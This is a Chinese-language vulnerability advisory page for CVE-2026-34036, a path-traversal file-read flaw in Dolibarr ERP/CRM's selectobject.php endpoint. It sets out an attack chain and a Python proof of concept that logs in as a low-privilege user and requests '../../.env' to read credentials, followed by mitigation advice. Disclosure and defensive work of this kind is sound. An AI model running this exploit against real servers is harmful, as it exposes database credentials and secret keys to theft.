IPBUF安全漏洞报告
English
CVE-2026-34036 CVSS 6.5 中危

CVE-2026-34036 Dolibarr ERP 本地文件包含漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-34036
漏洞类型
本地文件包含 (LFI)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Dolibarr ERP/CRM

相关标签

LFI本地文件包含DolibarrERP信息泄露CVE-2026-34036

漏洞概述

Dolibarr ERP/CRM在22.0.4及之前版本中存在本地文件包含(LFI)漏洞。该漏洞位于核心AJAX端点`/core/ajax/selectobject.php`中。由于核心访问控制函数`restrictedArea()`存在fail-open逻辑缺陷,拥有低权限的攻击者可以通过操纵`objectdesc`参数,无需特定权限即可读取服务器上的任意非PHP文件(如.env配置文件、.htaccess、备份或日志等)。发布时暂无公开补丁。

技术细节

该漏洞的根本原因在于Dolibarr核心AJAX端点`/core/ajax/selectobject.php`对用户输入的`objectdesc`参数缺乏严格的路径验证。攻击者可以通过构造包含路径遍历序列(如`../`)的输入来指定任意文件路径。更为关键的是,该系统的核心访问控制函数`restrictedArea()`存在“fail-open”逻辑缺陷。这意味着当权限校验逻辑遇到异常或特定条件未完全满足时,默认行为是允许访问而非拒绝。因此,即使攻击者仅拥有低权限且不具备访问该特定对象的权限,系统也会放行请求。攻击者利用此漏洞,通过HTTP请求触发文件包含操作,虽然受限于PHP引擎特性通常无法直接执行包含的PHP代码,但可以成功读取服务器上的任意非PHP文件(如环境配置`.env`、访问控制`.htaccess`、日志文件及备份文件等),从而造成严重的信息泄露风险,为进一步攻击提供凭据。

攻击链分析

STEP 1
1. 获取低权限账号
攻击者注册或获取一个经过认证的低权限用户账号。
STEP 2
2. 构造恶意请求
向/core/ajax/selectobject.php发送请求,利用objectdesc参数进行路径遍历(如../../.env)。
STEP 3
3. 绕过访问控制
利用restrictedArea()函数的fail-open逻辑缺陷,成功绕过权限检查。
STEP 4
4. 读取敏感文件
服务器返回任意非PHP文件的内容,导致数据库凭证、密钥等敏感信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-34036 PoC for Dolibarr LFI # Target: Dolibarr <= 22.0.4 # Endpoint: /core/ajax/selectobject.php # Note: Requires authentication (low privilege) target_url = "http://target-url/core/ajax/selectobject.php" # Authenticate and get session cookie (simplified) session = requests.Session() login_payload = { "username": "low_priv_user", "password": "password" } session.post("http://target-url/index.php", data=login_payload) # Exploit payload: Path traversal to read .env file params = { "objectdesc": "../../.env" } response = session.get(target_url, params=params) if response.status_code == 200: print("[+] Exploit successful! File content:") print(response.text) else: print("[-] Exploit failed or file not found")

影响范围

Dolibarr ERP/CRM <= 22.0.4

防御指南

临时缓解措施
由于目前暂无公开补丁,建议管理员暂时通过WAF(Web应用防火墙)规则拦截针对`/core/ajax/selectobject.php`的异常请求,特别是检测参数中包含`../`或绝对路径特征的流量。同时,确保服务器上敏感配置文件(如.env)不存放在Web可访问目录下,并设置严格的文件权限(如600),仅允许必要用户读取。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表